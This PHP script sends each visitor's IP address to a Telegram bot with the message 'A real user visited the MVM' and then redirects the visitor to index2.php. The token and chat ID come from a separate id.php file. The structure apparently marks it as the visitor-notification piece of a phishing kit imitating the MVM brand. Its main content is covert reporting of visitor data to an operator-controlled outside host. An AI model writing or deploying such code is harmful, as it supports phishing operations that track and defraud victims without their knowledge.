<?php
include "id.php";
$botToken = $token_View;
$chatId = $id_View;
$ipAddress = $_SERVER['REMOTE_ADDR'];
$message = "A real user visited the MVM. IP: " . $ipAddress;
$telegramUrl = "https://api.telegram.org/bot" . $botToken . "/sendMessage";
$data = [
    'chat_id' => $chatId,
    'text' => $message
];
$ch = curl_init($telegramUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
header("Location: index2.php");
exit();
?>
